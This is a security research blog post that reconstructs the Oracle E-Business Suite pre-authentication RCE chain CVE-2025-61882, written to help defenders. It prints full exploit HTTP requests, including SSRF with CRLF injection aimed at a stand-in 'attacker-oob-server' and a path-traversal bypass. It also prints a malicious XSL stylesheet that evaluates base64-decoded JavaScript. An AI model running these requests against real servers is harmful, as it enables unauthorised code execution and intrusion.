We bet you thought you’d be allowed to sit there, breathe, and savour the few moments of peace you’d earned after a painful week in cyber security.
Obviously, you were horribly wrong, and you need to wake up now - we’re back, it’s all on fire, and Bambi (who seems to appear in our blog posts suspiciously often) is not your pet.
Over the last week, we’ve all been harassed by the rumours of supposed active and in-the-wild exploitation of Oracle EBS, with each and every vendor confidently declaring, of course, that their root cause was the correct root cause:
While we enjoy our industry's creative writing hijinx, we would like to say one thing: just shut up.
Random conjecture is objectively not helpful and actually becomes detrimental in a time of mass exploitation and panic when it results in widespread confusion.
Today, we’re going to walk through the exploit chain (that we’ve verified, nerds) being used to compromise Oracle E-Business Suite deployments (and was used as a zero-day) - now tagged as CVE-2025-61882.
To give you a summary of what is to come, what we have observed is that CVE-2025-61882 (as it is now memorably called) is not “just” one vulnerability. It is a poetic flow of numerous small/medium weaknesses.
This is noteworthy because (if others can speculate, we are going to as well) whoever first discovered these vulnerabilities and chained them clearly knows Oracle EBS incredibly well at this point. If these vulnerabilities as a group existed at one time, our spidey senses tell us there is a high probability of more vulnerabilities to be found.
For those who have zero patience or attention span, we're going to walk you through this exploit chain that makes up CVE-2025-61882:
On Saturday 4th October, after days and days of speculation - Oracle finally dropped an advisory detailing what everyone already knew deep down.
Bad things were happening, and zero-day can happen to anyone.
In a friendly-named Saturday alert, Oracle published Oracle Security Alert Advisory - CVE-2025-61882, sharing the worst:
Yikes.
Oracle shared that versions 12.2.3 to 12.2.14 are affected, so this wasn’t “small” in terms of blast radius. We didn’t need to be an oracle to predict this (sorry).
Out of thin air, we managed to get our hands on a fully functional Proof of Concept for this vulnerability that had dangerously fallen from a moving truck and right into our laps. Bizarre!
When we typically analyze N-day or zero-day vulnerabilities, we normally follow a tried-and-true methodology to document the discovery route and the proof of concept. This case is an unusual flip: We started with a PoC and worked backwards to reconstruct how the chain was assembled.
You might wonder why we didn’t just file the PoC and move on. The chain demonstrates a high level of skill and effort, with at least five distinct bugs orchestrated together to achieve pre-authenticated Remote Code Execution.
Therefore, in our friendly and helpful way, we have reverse-engineered each stage and broken the attack into bite-sized, digestible steps - ultimately with the aim to arm defenders with the tools, and understanding, to identify vulnerable deployments in their environment and hunt for inevitable signs of prior exploitation.
The payload starts by sending a crafted XML request to the servlet below. This XML document can be used to coerce the backend server to send arbitrary HTTP requests.
Let's investigate the reason behind the first vulnerability here.
Defined within the file /FMW_Home/Oracle_EBS-app1/applications/oacore/html/WEB-INF/web.xml
, we can see a servlet definition for the URL pattern /configurator/UiServlet
that maps to the below servlet definition and classpath:
<servlet>
<servlet-name>czUiServlet</servlet-name>
<servlet-class>oracle.apps.cz.servlet.UiServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
The vulnerable code logic behind this servlet is as follows:
if (paramHttpServletRequest.getParameter("killAndRestartServer") != null) {
paramHttpServletResponse.sendError(400);
closeSession(httpSession);
} else if (paramHttpServletRequest.getParameter("generateOutput") != null) {
generateOutput(paramHttpServletRequest, paramHttpServletResponse);
} else if (paramHttpServletRequest.getParameter("getUiType") != null) {
String str = paramHttpServletRequest.getParameter("redirectFromJsp");// [1]
XMLDocument xMLDocument = XmlUtil.parseXmlString(paramHttpServletRequest.getParameter("getUiType"));// [0]
if (str == null || "false".equalsIgnoreCase(str)) {
redirectToCZInitialize(paramHttpServletRequest, paramHttpServletResponse, str2);
return;
}
createNew(xMLDocument, httpSession, paramHttpServletRequest, paramHttpServletResponse);// [2]
Following the doRequest
function, we hit a parameter-parsing block that:
[0]
accepts an XML document via the getUiType
parameter[1]
processes it only when redirectFromJsp
is set[2]
passes the value to createNew()
for parsingNow, let’s investigate how the XML document we provide to this endpoint is handled and where it flows next:
String str1 = CZUiUtilities.resubXMLAndURLChars(XmlUtil.getReturnUrlParameter(paramXMLDocument));
clientAdapter.setReturnUrl(str1);
The XML element with the name
attribute set to return_url
is extracted and assigned to the clientAdapter
object. From there, the request flow continues through a sequence of clientAdapter
method calls before ultimately reaching the postXmlMessage()
function.
Within postXmlMessage()
, a URL connection is established through cZURLConnection.connect()
, initiating the outbound request execution that follows:
protected void postXmlMessage(String paramString1, String paramString2) throws ServletException {
try {
this.m_sessionLogger.logTime("ClientAdapter.postXmlMessage: Redirect [raw] (", paramString1, ") for response.");
URL uRL = getUrl(paramString1);
if (uRL != null)
paramString1 = uRL.toExternalForm();
CZURLConnection cZURLConnection = new CZURLConnection(paramString1);
this.m_sessionLogger.logTime("ClientAdapter.postXmlMessage: Redirect [path resolved] (", cZURLConnection.getFullURL(), ") for response.");
String[] arrayOfString1 = { "XMLmsg" };
String[] arrayOfString2 = { paramString2 };
cZURLConnection.connect(1, arrayOfString1, arrayOfString2);
cZURLConnection.close();
} catch (Exception exception) {
if (exception instanceof oracle.apps.cz.utilities.SSLSupportUnavailableException && this.m_sessionLogger != null)
this.m_sessionLogger.logOutput(CZUiUtilities.stackTraceToString(exception));
throw new ServletException("Could not post XML message to result URL: " + exception.getMessage());
}
}
What’s important here is the fact that the attacker has complete control over the URL of the HTTP connection, a classic SSRF!
private void connect(URL paramURL, String paramString) throws IOException {
HttpURLConnection httpURLConnection = (HttpURLConnection)paramURL.openConnection();
updateDefaultHeaders(httpURLConnection, ...);
httpURLConnection.setDoOutput(true);
httpURLConnection.setRequestMethod("POST");
if (httpURLConnection != null) {
this.m_connectionOutputStream = httpURLConnection.getOutputStream();
postMessage(paramString, httpURLConnection);
}
}
The full raw HTTP request below can be used to trigger and demonstrate the Pre-Auth Server-Side Request Forgery in use in this exploit chain.
Beautifully though, for those that are panicking, this can also be used to validate exploitability and vulnerability of a production instance without the need for going nuclear with a full Remote Code Execution chain:
POST /OA_HTML/configurator/UiServlet HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 407
redirectFromJsp=1&getUiType=<@urlencode_all><?xml version="1.0" encoding="UTF-8"?>
<initialize>
<param name="init_was_saved">test</param>
<param name="return_url">http://{{external-host}}</param>
<param name="ui_def_id">0</param>
<param name="config_effective_usage_id">0</param>
<param name="ui_type">Applet</param>
</initialize></@urlencode_all>
With a Pre-Auth Server-Side Request Forgery in hand, the vulnerability goes further - exerting full control over the SSRF request by utilizing CRLF payloads.
For those uninitiated, CRLF is the utilisation of new lines and carriage return characters typically denoted by\n
\r
bytes to malicious modify the contents of a file, string or parser to inject data into other areas unintended by the developers.
CRLF in the context of an SSRF can be a creative way to inject headers and parameters that would otherwise be uncontrollable via the URL.
For example, by utilizing a custom Python HTTP server, we’re able to observe raw HTTP requests and demonstrate that CRLF payloads can be utilized to inject arbitrary headers into the HTTP request triggered by the Server-Side Request Forgery, via HTML coded newline characters.
Full Request:
POST /OA_HTML/configurator/UiServlet HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 524
redirectFromJsp=1&getUiType=<@urlencode><?xml version="1.0" encoding="UTF-8"?>
<initialize>
<param name="init_was_saved">test</param>
<param name="return_url"><http://attacker-oob-server>/HeaderInjectionTest HTTP/1.1 InjectedHeader:Injected   POST /</param>
<param name="ui_def_id">0</param>
<param name="config_effective_usage_id">0</param>
<param name="ui_type">Applet</param>
</initialize></@urlencode>
HTTP request received locally:
[root@oob-server]# python3 server.py 80
[*] Serving raw HTTP on port 80
==================================================
DUMPING RAW HTTP REQUEST from oracle-business-ip:19080
POST /HeaderInjectionTest HTTP/1.1
--- HEADERS ---
InjectedHeader: Injected
Each stage incrementally increases the attacker’s control and access.
One of the clever moves in the exploit chain we observed was to weaponize the CRLF injection inside the SSRF payload, and then take it a step even further by abusing HTTP persistent connections.
This combination lets an attacker control request framing via the SSRF and then reuse the same TCP connection to chain additional requests, increasing reliability and reducing noise.
HTTP persistent connections, also known as HTTP keep-alive or connection reuse, let a single TCP connection carry multiple HTTP request/response pairs instead of opening a new connection for every exchange.
In this context, connection reuse amplifies the attacker’s leverage: once the initial SSRF and CRLF framing are in place, subsequent requests can be sent over the same channel, making the exploitation chain more efficient and harder to detect.
With the GET-based SSRF transformed into a POST, the exploit chain changes it’s focus to a locally-bound HTTP service listening on port 7201/TCP
.
So.. let’s continue.
While SSRF vulnerabilities typically have limited impact on their own (do not @ us), they become dangerous when chained with other weaknesses or when they can reach sensitive internal resources.
But, when we have all the ingredients currently available to us (such as CRLF Injection, and the ability to convert the HTTP request from GET to POST) - we end up in a very different place.
This is both technically impressive and significantly widens the scope of available “attack surface” to target in the next steps of an exploit chain - a POST-capable SSRF plus a reachable internal application logically gives any attacker significantly greater options.
As discussed above, a typical Oracle E-Business Suite deployment exposes the core of the application within an HTTP service locally bound to port 7201/TCP
:
# netstat -lnt
tcp6 0 0 172.31.28.161:7201 :::* LISTEN
Do you see the problem? The service isn’t bound to localhost but specifically to a private IP/interface.
# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 9001
inet 172.31.28.161 netmask 255.255.240.0 broadcast 172.31.31.255
inet6 fe80::35:95ff:fe6d:708b prefixlen 64 scopeid 0x20<link>
ether 02:35:95:6d:70:8b txqueuelen 1000 (Ethernet)
RX packets 7707474 bytes 1282347392 (1.1 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 51989617 bytes 68968447640 (64.2 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 1861857 bytes 537605610 (512.7 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1861857 bytes 537605610 (512.7 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
But how will attackers figure out this private IP?
Well, luckily, Oracle EBS is very helpful - and always has the following entry inside the /etc/hosts
file:
# cat /etc/hosts
172.31.28.161 apps.example.com apps
#
This means this problem isn’t a problem - the exploit chain can leverage the known hostname to smuggle requests to http://apps.example.com:7201
.
From here, it's possible to reach an extensive set of jsp
files and servlets
. But, is it?
# curl -s http://apps.example.com:7201/OA_HTML/ieshostedsurvey.jsp
Requested resource or page is not allowed in this site
Without digging into the root cause, a common bypass for catchall filters is path traversal, for example ../
or the Java-specific ..;/
. The exploit chain uses this technique to bypass the Java app filter because the /help/
path does not require authentication.
By appending ../
and the target file/servlet to an HTTP request sent to /OA_HTML/help/
, the exploit chain can circumvent the authentication whitelist:
# curl -s --path-as-is http://apps.example.com:7201/OA_HTML/help/../ieshostedsurvey.jsp
<!-- $Header: ieshostedsurvey.jsp 120.0 2005/06/03 07:43:36 appldev noship $ -->
<!-- +======================================================================+ -->
<!-- | Copyright (c) 2005, 2017 Oracle and/or its affiliates. | -->
<!-- | All rights reserved. | -->
<!-- | Version 12.0.0 | -->
<!-- +======================================================================+ -->
<!--ICX_ACCESSIBILITY_FEATURES profile=Y-->
<html>
<head>
<!-- +======================================================================+ -->
<!-- | Copyright (c) 2005, 2022 Oracle and/or its affiliates. | -->
<!-- | All rights reserved. | -->
<!-- | Version 12.0.0 | -->
<!-- +======================================================================+ -->
<!-- $Header: jtfscss.jsp 120.1.12020000.16 2022/04/27 09:56:43 srsiddam ship $ -->
[..SNIP..]
“Ok, so what’s next and how does the exploit chain leverage the new endpoints it can access?”
Great question.
As discussed above, the exploit chain targets /OA_HTML/help/../ieshostedsurvey.jsp
on port 7201
.
ieshostedsurvey.jsp
is functionally simple, yet exposes functionality (paired with, as always, unsafe handling of input) that is leveraged in this chain.
Fueling our curiosity, we quickly reviewed ieshostedsurvey.jsp
(found at /u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/applications/oacore/html/ieshostedsurvey.jsp
), revealing a fairly simple but yet dangerous piece of code (no way!):
// /u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/applications/oacore/html/ieshostedsurvey.jsp
<!-- $Header: ieshostedsurvey.jsp 120.0 2005/06/03 07:43:36 appldev noship $ -->
<%@ include file="jtfincl.jsp" %>
<%@page language="java" import="java.sql.*" %>
<%@page language="java" import="oracle.xml.sql.query.*" %>
<%@page language="java" import="oracle.xml.parser.v2.*" %>
<%@page language="java" import="java.net.*" %>
<%@page language="java" import="java.io.*" %>
<%
//Admin Console assumed vars
String appName = "IES";
boolean stateless = true;
%>
<%@ include file="jtfsrnfp.jsp" %>
<html>
<head>
<%@ include file="jtfscss.jsp" %>
<title>Oralce iSurvey</title>
</head>
<body <%=_jtfPageContext.getHtmlBodyAttr() %> class='applicationBody'>
<%@ include file="jtfdnbar.jsp" %>
<%
String uriloc = request.getRequestURI();
StringTokenizer st = new StringTokenizer(uriloc, "//");
int tokenCount = st.countTokens();
StringBuffer URI = new StringBuffer();
URI.append("/");
for( int i = 0; i < tokenCount-1; i++ ) {
URI.append(st.nextToken());
URI.append("/");
}
StringBuffer urlbuf = new StringBuffer(); // [1]
urlbuf.append("http://"); // [2]
urlbuf.append(request.getServerName()); // [3]
urlbuf.append(":").append(request.getServerPort()).append(URI.toString()); // [4]
String xslURL = urlbuf.toString() + "ieshostedsurvey.xsl"; // [5]
String desturl = ServletSessionManager.getURL("iessvymenubased.jsp");
StringBuffer query = new StringBuffer("select s.survey_name || '--> ' || c.SURVEY_CYCLE_NAME || '--> ' || d.Deployment_name || '--> ' ||d.SURVEY_DEPLOYMENT_ID as survey_name,");
query.append("\\'").append(desturl).append("\\'").append(" uri ,d.SURVEY_DEPLOYMENT_ID as deployment_id " +
" from IES_SVY_SURVEYS_ALL s, " +
" IES_SVY_CYCLES_ALL c, " +
" IES_SVY_DEPLYMENTS_ALL d " +
" where " +
" s.SURVEY_ID = c.SURVEY_ID " +
" and c.SURVEY_CYCLE_ID = d.SURVEY_CYCLE_ID " +
" and d.DEPLOYMENT_STATUS_CODE = 'ACTIVE' " +
" and d.LIST_HEADER_ID is null " +
" and sysdate between d.DEPLOY_DATE and d.RESPONSE_END_DATE ");
Connection conn = null;
OracleXMLQuery q = null;
try{
conn = TransactionScope.getConnection();
q = new OracleXMLQuery(conn,query.toString());
}catch(Exception ex){
out.println(ex.getMessage());
if(conn != null)
conn.close();
}
XMLDocument xmlDoc = (XMLDocument)q.getXMLDOM();
//URL stylesheetURL = new URL("<http://kpandey-lap1.us.oracle.com/html/ieshostedsurvey.xsl>");
URL stylesheetURL = new URL(xslURL.toString()); // [6]
XSLStylesheet sheet = new XSLStylesheet(stylesheetURL,stylesheetURL); // [7]
XSLProcessor xslt = new XSLProcessor(); // [8]
ByteArrayOutputStream outBytes = new ByteArrayOutputStream();
xslt.processXSL(sheet, xmlDoc, new PrintWriter(new BufferedWriter(new OutputStreamWriter(outBytes)))); // [9]
String html =outBytes.toString();
out.println(html);
%>
</body>
</html>
<%@ include file="jtfernlp.jsp" %>
This code works as follows:
[1]
creates a string variable urlbuf
[2]
appends the literal http://
to urlbuf
[3]
extracts the hostname from the request Host:
header and appends it to urlbuf
[4]
extracts the port number from the same Host:
header and append it to urlbuf
[5]
appends /ieshostedsurvey.xsl
to urlbuf
and assign the result to xslURL
[6]
constructs a URL
object from xslURL
and assign it to stylesheetURL
[7]
instantiates an XSLStylesheet
object using stylesheetURL
[8]
creates an XSLProcessor
instance[9]
invokes xslt.processXSL()
, which fetches and parses the remote XSL documentTaken together, the code builds a remote URL from the incoming Host:
header, causing the Java code to download /ieshostedsurvey.xsl
from the attacker-controlled server.
As XSLT processing in Java can invoke templates and extension functions, the ability to load an untrusted stylesheet allows an attacker to achieve arbitrary Remote Code Execution.
“It’s as simple as that”.
You might be wondering - “Why did they keep the connection alive by providing a POST /
at the end of the packet?”
Well, this is because if the connection is not kept alive, the XSL document can not be downloaded and parsed in-time - which causes the full RCE chain to fail.
Put simply, the above describes an HTTP request (shown below) that triggers the exploit chain - achieving Pre-Auth RCE.
POST /OA_HTML/configurator/UiServlet HTTP/1.1
Host: not-actually-watchtowr.com-stop-emailing-us-about-iocs:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
CSRF-XHR: YES
FETCH-CSRF-TOKEN: 1
Cookie: JSESSIONID=_NG5Yg8cBERFjA5L23s9UUyzG7G8hSZpYkmc6YAEBjT71alQ2UH6!906988146; EBSDB=oSVgJCh0YacxUZCwOlLajtL2zo
Content-Length: 847
Content-Type: application/x-www-form-urlencoded
redirectFromJsp=1&getUiType=<@urlencode><?xml version="1.0" encoding="UTF-8"?>
<initialize>
<param name="init_was_saved">test</param>
<param name="return_url"><http://apps.example.com:7201><@html_entities>/OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2
Host: attacker-oob-server
User-Agent: anything
Connection: keep-alive
Cookie: JSESSIONID=_NG5Yg8cBERFjA5L23s9UUyzG7G8hSZpYkmc6YAEBjT71alQ2UH6!906988146; EBSDB=oSVgJCh0YacxUZCwOlLajtL2zo
POST /</@html_entities></param>
<param name="ui_def_id">0</param>
<param name="config_effective_usage_id">0</param>
<param name="ui_type">Applet</param>
</initialize></@urlencode>
On an attacker-controlled host, the attacker then serves a classic malicious XSL document that triggers Arbitrary Code Execution, like so:
<xsl:stylesheet version="1.0"
xmlns:xsl="<http://www.w3.org/1999/XSL/Transform>"
xmlns:b64="<http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder>"
xmlns:jsm="<http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager>"
xmlns:eng="<http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine>"
xmlns:str="<http://www.oracle.com/XSL/Transform/java/java.lang.String>">
<xsl:template match="/">
<xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'[base64_encoded_payload]')"/>
<xsl:variable name="js" select="str:new($bs)"/>
<xsl:variable name="m" select="jsm:new()"/>
<xsl:variable name="e" select="jsm:getEngineByName($m, 'js')"/>
<xsl:variable name="code" select="eng:eval($e, $js)"/>
<xsl:value-of select="$code"/>
</xsl:template>
</xsl:stylesheet>
Our Detection Artifact Generator can be found here, giving defenders the tools (that attackers already have) to identify vulnerable deployments.
Speak soon.
The research published by watchTowr Labs is just a glimpse into what powers the watchTowr Platform – delivering automated, continuous testing against real attacker behaviour.
By combining Proactive Threat Intelligence and External Attack Surface Management into a single Preemptive Exposure Management capability, the watchTowr Platform helps organisations rapidly react to emerging threats – and gives them what matters most: time to respond.
Gain early access to our research, and understand your exposure, with the watchTowr Platform
REQUEST A DEMO